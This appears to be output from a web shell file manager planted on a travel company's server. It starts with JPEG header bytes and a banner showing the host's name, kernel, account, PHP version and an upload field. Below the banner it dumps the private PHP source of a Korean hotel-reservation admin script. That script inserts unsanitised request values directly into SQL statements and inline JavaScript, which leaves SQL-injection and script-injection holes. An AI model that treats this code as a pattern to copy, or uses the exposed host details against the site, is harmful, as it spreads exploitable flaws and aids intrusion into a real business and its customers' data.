ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/admin/res_hotel/ |
Upload File : |
<? include "../include/top_proc.html"; include "_common.html"; $class_HotelReserv = new HotelReserv(); $class_AccountCustomer = new AccountCustomer(); $table = "TB_RES_HOTEL"; if(devCookie()){ p($_POST); exit; } // 호텔예약정보 저장 if($SqlType=="reserv_ins" or $SqlType=="reserv_again") { $rdata = $_POST; $rdata['ins_route'] = 'A'; // 예약경로:A관리자,A1상담관리,B사용자,C사용자모바일 if($rdata['cseq']) $rdata['ins_route'] = 'A1'; // 예약경로:A관리자,A1상담관리,B사용자,C사용자모바일 // 예약변경 if($SqlType=="reserv_again") { if(!$res_no) error_msg("alert('기존예약정보가 없습니다.');history.go(-1);","script"); // 예약정보 $data = $class_HotelReserv->res_hotel_master(" and res_no='{$res_no}' "); $row = $class_HotelReserv->res_hotel_master_replace($data[0]); // 기존예약마스터 삭제 $sql = "delete from TB_RES_HOTEL where res_no='{$res_no}'"; db_query($sql); // 기존동행자 삭제 $sql = "delete from TB_RES_HOTEL_PERSON where res_no='{$res_no}'"; db_query($sql); // 기존 옵션선택 삭제 $sql = "delete from TB_RES_HOTEL_OPTION where res_no='{$res_no}'"; db_query($sql); // 통합예약 정보삭제 $sql = "delete from TB_RES_ALL where res_no='{$res_no}'"; db_query($sql); // 블록(block) 조정 proc호출 foreach($row['hdidx_all'] as $hdidx){ if($hdidx) db_query("call SP_RES_HOTEL_BLOCK('{$hdidx}','-{$row[room_cnt]}');"); } } // 공급처 if ($producer_id) { $mem_data = get_member($producer_id); $rdata['producer_corp_nm'] = $mem_data['bz_corp_nm']; } // 담당자 if($admin_id) $row_admin = get_member($admin_id); $rdata['admin_nm']=$row_admin['mb_nm']; // 대리점 if ($agent_id) { $mem_data = get_member($agent_id); $rdata['bz_corp_nm'] = $mem_data['bz_corp_nm']; } //외국어,환율 $rdata['lang'] = $lang; $rdata['hwan'] = $hwan; $rdata['sales_total_twd'] = round($rdata['sales_total'] * $cf[twd]); // 호텔예약 및 입실정보 저장 $data = hotelRoomDateIns($rdata); $res_no = $data['res_no']; // 예약정보 $data = $class_HotelReserv->res_hotel_master(" and res_no='{$res_no}' "); $row = $class_HotelReserv->res_hotel_master_replace($data[0]); // 예약정보 문자 발송(2017-04-14.허종) $data_sms_macro = to_macro_list(array('type'=>'S','resp'=>'RES','res_cd'=>'A','disp_yn'=>'Y')); $auto_sms_send = $data_sms_macro[0]['auto_send']; $sms_cont = $data_sms_macro[0]['cont']; // sms 상용구 내용 if($SqlType=="reserv_ins" and $auto_sms_send=="Y" and $row['res_cust_hp']) { $sms_cont = str_replace("{회사명}",$TK_CF['shop_name'],$sms_cont); $sms_cont = str_replace("{고객명}",$row['res_cust_nm'],$sms_cont); $sms_cont = str_replace("{예약번호}",$row['res_no'],$sms_cont); $sms_cont = str_replace("{행사명}",$row['hnm']." ".$row['rnm'],$sms_cont); $sms_cont = str_replace("{행사일}",$row['room_date'],$sms_cont); $sms_cont = str_replace("{여행인원}",$row['inwon'],$sms_cont); $sms_cont = str_replace("{고객연락처}",$row['res_cust_tel'],$sms_cont); $sms_cont = str_replace("{진행전달}",$row['order_state_str'],$sms_cont); $sms_cont = str_replace("{룸수}",$row['room_cnt'],$sms_cont); $sms_cont = str_replace("{박수}",$row['room_day'],$sms_cont); $msg_val = $sms_cont; $recvtel = $TK_CF['shop_tel'];//번호표시 $sendtel = $row['res_cust_hp'];//받을 번호 // 문자발송 $res = send_new_send("S",$recvtel,$sendtel,$msg_val); // 문자발송 히스토리 저장 $rdata = array('res_no'=>$res_no,'type'=>'S','cust_nm'=>$res_cust_nm,'recv_tel'=>$res_cust_hp,'send_tel'=>$TK_CF[shop_tel],'message'=>$msg_val); $res = to_send_history_ins($rdata); } // 예약검색 정보 업데이트(2017-02-04.허종) if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');"); // 정산 정보 업데이트 $AccountCustomer->account_customer_check($res_no); error_msg("location.href='hotel_res_edit.html?res_no={$res_no}&tmp_layer_id={$tmp_layer_id}';","script"); } // 호텔예약정보 수정 elseif($SqlType=="reserv_updt") { if(!$res_no) exit; // 기존 예약정보 $data_old = $class_HotelReserv->res_hotel_master(" and res_no='{$res_no}' "); $row_old = $data_old[0]; $price_tot = str_replace(",","",$price_tot); // 룸가격 $over_tot = str_replace(",","",$over_tot); // 초과금 $option_tot = str_replace(",","",$option_tot); // 옵션가격 $sales_total = str_replace(",","",$sales_total); // 총판매가 // 대리점 if($agent_id) $row_member = get_member($agent_id); // 담당자 if($admin_id) $row_admin = get_member($admin_id); $sales_total_twd = round($sales_total * $cf[twd]); // 예약마스터 저장 $sql = "update {$table} set "; /*$sql .= " res_no = '{$res_no}',"; $sql .= " cseq = '{$cseq}',"; $sql .= " hseq = '{$hseq}',"; $sql .= " hnm = '{$row_hotel[hotel_nm}',"; $sql .= " ridx = '{$ridx}',"; $sql .= " rnm = '{$row_date[room_type}',"; $sql .= " hdidx = '{$hdidx}',"; $sql .= " room_date = '{$room_date}',"; $sql .= " room_date_out = '{$room_date_out}',"; $sql .= " room_cnt = '{$room_cnt}',"; $sql .= " room_day = '{$room_day}',";*/ $sql .= " room_adult_num = '{$room_adult_num}',"; $sql .= " room_child_num = '{$room_child_num}',"; $sql .= " room_over_num = '{$room_over_num}',"; $sql .= " room_bedtype = '{$room_bedtype}',"; $sql .= " price_tot = '{$price_tot}',"; $sql .= " option_tot = '{$option_tot}',"; $sql .= " over_tot = '{$over_tot}',"; $sql .= " sales_total = '{$sales_total}',"; $sql .= " sales_total_won = '{$sales_total_won}',"; if($lang=="hk") { $sql .= " sales_total_twd = '{$sales_total_twd}',"; } //$sql .= " agent_ga = '{$row_date[d_agent_ga}',"; //$sql .= " agent_id = '{$agent_id}',"; //$sql .= " agent_corp_nm = '{$row_member[bz_corp_nm]}',"; $sql .= " res_cust_id = '{$res_cust_id}',"; $sql .= " res_cust_nm = '{$res_cust_nm}',"; $sql .= " res_cust_email = '{$res_cust_email}',"; $sql .= " res_cust_addr = '{$res_cust_addr}',"; $sql .= " res_cust_tel = '{$res_cust_tel}',"; $sql .= " res_cust_hp = '{$res_cust_hp}',"; $sql .= " res_cust_nat_cd = '{$res_cust_nat_cd}',"; //$sql .= " res_cust_memo = '{$res_cust_memo}',"; $sql .= " admin_memo = '{$admin_memo}',"; //$sql .= " send_memo='{$send_memo}',"; $sql .= " admin_id = '{$admin_id}',"; $sql .= " admin_nm = '{$row_admin[mb_nm]}',"; $sql .= " edit_dt = now(),"; $sql .= " edit_id = '{$TK_MEMBER[mb_id]}',"; $sql .= " edit_nm = '{$TK_MEMBER[mb_nm]}',"; //$sql .= " res_stat_cd = '{$res_stat_cd}',"; $sql .= " order_state = '{$order_state}'"; //$sql .= " ins_dt = now(),"; //$sql .= " ins_id = '{$TK_MEMBER[mb_id}',"; //$sql .= " ins_nm = '{$TK_MEMBER[mb_nm}'"; $sql .= " where res_no='{$res_no}' "; db_query($sql); // 업데이트 예약정보 $data_new = $class_HotelReserv->res_hotel_master(" and res_no='{$res_no}' "); $row_new =$class_HotelReserv->res_hotel_master_replace($data_new[0]); // 예약정보 문자 발송(2017-04-14.허종) $data_sms_macro = to_macro_list(array('type'=>'S','resp'=>'RES','res_cd'=>$row_new['order_state'],'disp_yn'=>'Y')); $auto_sms_send = $data_sms_macro[0]['auto_send']; $sms_cont = $data_sms_macro[0]['cont']; // sms 상용구 내용 if($row_old['order_state']<$row_new['order_state'] and $auto_sms_send=="Y" and $row_new['res_cust_hp']) { $sms_cont = str_replace("{회사명}",$TK_CF['shop_name'],$sms_cont); $sms_cont = str_replace("{고객명}",$row_new['res_cust_nm'],$sms_cont); $sms_cont = str_replace("{예약번호}",$row['res_no'],$sms_cont); $sms_cont = str_replace("{행사명}",$row_new['hnm']." ".$row_new['rnm'],$sms_cont); $sms_cont = str_replace("{행사일}",$row_new['room_date'],$sms_cont); $sms_cont = str_replace("{여행인원}",$row_new['inwon'],$sms_cont); $sms_cont = str_replace("{고객연락처}",$row_new['res_cust_tel'],$sms_cont); $sms_cont = str_replace("{진행전달}",$row_new['order_state_str'],$sms_cont); $sms_cont = str_replace("{룸수}",$row_new['room_cnt'],$sms_cont); $sms_cont = str_replace("{박수}",$row_new['room_day'],$sms_cont); $msg_val = $sms_cont; $recvtel = $TK_CF['shop_tel'];//번호표시 $sendtel = $row_new['res_cust_hp'];//받을 번호 // 문자발송 $res = send_new_send("S",$recvtel,$sendtel,$msg_val); // 문자발송 히스토리 저장 $rdata = array('res_no'=>$res_no,'type'=>'S','cust_nm'=>$res_cust_nm,'recv_tel'=>$res_cust_hp,'send_tel'=>$TK_CF[shop_tel],'message'=>$msg_val); $res = to_send_history_ins($rdata); } // 예약검색 정보 업데이트(2017-02-04.허종) if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');"); // 정산 정보 업데이트 $AccountCustomer->account_customer_check($res_no); error_msg("document.location.reload();","script"); } // 호텔 일정변경 else if($SqlType=="res_dt_updt"){ // 호텔 hseq, 룸 ridx, 일정 room_date, 입실일 hdidx if(!$res_no) exit; // 기존 예약정보 //$data_old = $class_HotelReserv->res_hotel_master(" and res_no='{$res_no}' "); //$row_old = $data_old[0]; // 룸 정보 $row = hotel_date($hseq," and r_idx='{$ridx}' and room_date='{$room_date}' "); $hdidx = $row[0]['hdidx']; // 체크아웃일 $room_date_out = date("Y-m-d",strtotime($room_date." +1 day")); // 체크아웃일 // 예약마스터 저장 $sql = "update {$table} set "; //$sql .= " ridx = '{$ridx}',"; //$sql .= " rnm = '{$row_date[room_type}',"; $sql .= " hdidx = '{$hdidx}',"; $sql .= " room_date = '{$room_date}',"; $sql .= " room_date_out = '{$room_date_out}',"; //$sql .= " room_cnt = '{$room_cnt}',"; //$sql .= " room_day = '{$room_day}',"; //$sql .= " room_over_num = '{$room_over_num}',"; //$sql .= " room_bedtype = '{$room_bedtype}',"; //$sql .= " price_tot = '{$price_tot}',"; //$sql .= " option_tot = '{$option_tot}',"; //$sql .= " over_tot = '{$over_tot}',"; //$sql .= " sales_total = '{$sales_total}',"; //$sql .= " sales_total_fr = '{$sales_total_fr}',"; $sql .= " edit_dt = now(),"; $sql .= " edit_id = '{$TK_MEMBER[mb_id]}',"; $sql .= " edit_nm = '{$TK_MEMBER[mb_nm]}'"; $sql .= " where res_no='{$res_no}' "; db_query($sql); Log::save(sprintf("%s(%d) 호텔 일정 업데이트 %s", __FILE__, __LINE__, $sql), '', date('Ym')); // 업데이트 예약정보 //$data_new = $class_HotelReserv->res_hotel_master(" and res_no='{$res_no}' "); //$row_new =$class_HotelReserv->res_hotel_master_replace($data_new[0]); // 예약검색 정보 업데이트 db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');"); // 정산 정보 업데이트 $class_AccountCustomer->account_customer_check($res_no); $alert_msg = "호텔예약 일정이 변경되었습니다. 가격 변동이 있는 경우 예약 상세정보 화면에서 수정해주세요."; error_msg("parent.document.location.reload(); alert('{$alert_msg}'); to_dialog.close('{$tmp_layer_id}');","script"); // 룸예약 확정처리 }else if($SqlType=="res_roomdate_fix"){ if( !$res_no ) exit; $sql = "update {$table} set res_stat_cd='C' "; $sql .= " where res_no='{$res_no}' "; db_query($sql); // 예약검색 정보 업데이트(2017-02-04.허종) if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');"); error_msg("document.location.reload();","script"); // 룸예약 취소 }elseif($SqlType=="res_roomdate_delete"){ if( !$res_no ) exit; // 예약정보 $data = $class_HotelReserv->res_hotel_master(" and res_no='{$res_no}' "); $row = $class_HotelReserv->res_hotel_master_replace($data[0]); // 예약 취소 $sql = "update {$table} set res_stat_cd='D',cancel_dt=now() "; $sql .= " where res_no='{$res_no}' "; db_query($sql); // 블록차감 for($i=0 ; $i<count($row['hdidx_all']) ; $i++) { $hdidx = $row['hdidx_all'][$i]; if($hdidx) { db_query("call SP_RES_HOTEL_BLOCK('{$hdidx}','-{$row[room_cnt]}');");; } } // 입출금 - 숙박비자동정산정보 계산 $class_AccountCustomer->account_customer_check($res_no); // 예약검색 정보 업데이트(2017-02-04.허종) if($res_no) db_query("call SP_RES_HOTEL_SEARCH('".$res_no."');"); error_msg("document.location.reload();","script"); } // 예약정보 삭제(정산,입출금) elseif($SqlType=="delete_reserv"){ if(!$res_no) exit; // 예약정보 $data = $class_HotelReserv->res_hotel_master(" and res_no='{$res_no}' "); $row = $data[0]; // 삭제가능한 예약인지 체크 if($row['res_stat_cd']!='D') error_msg(); // 예약정보 마스터 $sql = "delete from TB_RES_HOTEL where res_no='{$res_no}'"; db_query($sql); // 고객입출금 정보 $sql = "delete from TB_ACCOUNT_CUSTOMER where res_no='{$res_no}'"; db_query($sql); // 호텔정산 정보 $sql = "delete from TB_ACCOUNT_HOTEL where res_no='{$res_no}'"; db_query($sql); error_msg("document.location.reload();","script"); } // 진행전달 상태 변경 else if($SqlType == "chg_order_state"){ if(!is_array($res_no_arr) or !$order_state) exit; foreach($res_no_arr as $res_no) { $sql ="update TB_RES_HOTEL set order_state='{$order_state}' where res_no='{$res_no}' "; db_query($sql); } error_msg("document.location.reload();","script"); } // 호텔 메모 변경 else if($SqlType == "memo_ins"){ for($i=0;$i<count($res_no_arr2);$i++) { $res_no = $res_no_arr2[$i]; $g_memo = $g_memo_arr[$i]; $sql ="update TB_RES_HOTEL set g_memo='{$g_memo}' where res_no='{$res_no}' "; db_query($sql); } if($pmode=='agent') $go_url = '../agent_reserve/hotel_res_list.html?s=1'.$href; else $go_url = 'hotel_res_list.html?s=1'.$href; echo "<script>location.href='{$go_url}';</script>"; } // 호텔 바우처 변경 else if($SqlType == "hotel_voucher_ins"){ for($i=0;$i<count($res_no_arr2);$i++) { $res_no = $res_no_arr2[$i]; $hotel_voucher = $hotel_voucher_arr[$i]; $sql ="update TB_RES_HOTEL set hotel_voucher='{$hotel_voucher}' where res_no='{$res_no}' "; db_query($sql); } if($pmode=='agent') $go_url = '../agent_reserve/hotel_res_list.html?s=1'.$href; else $go_url = 'hotel_res_list.html?s=1'.$href; echo "<script>location.href='{$go_url}';</script>"; } ?>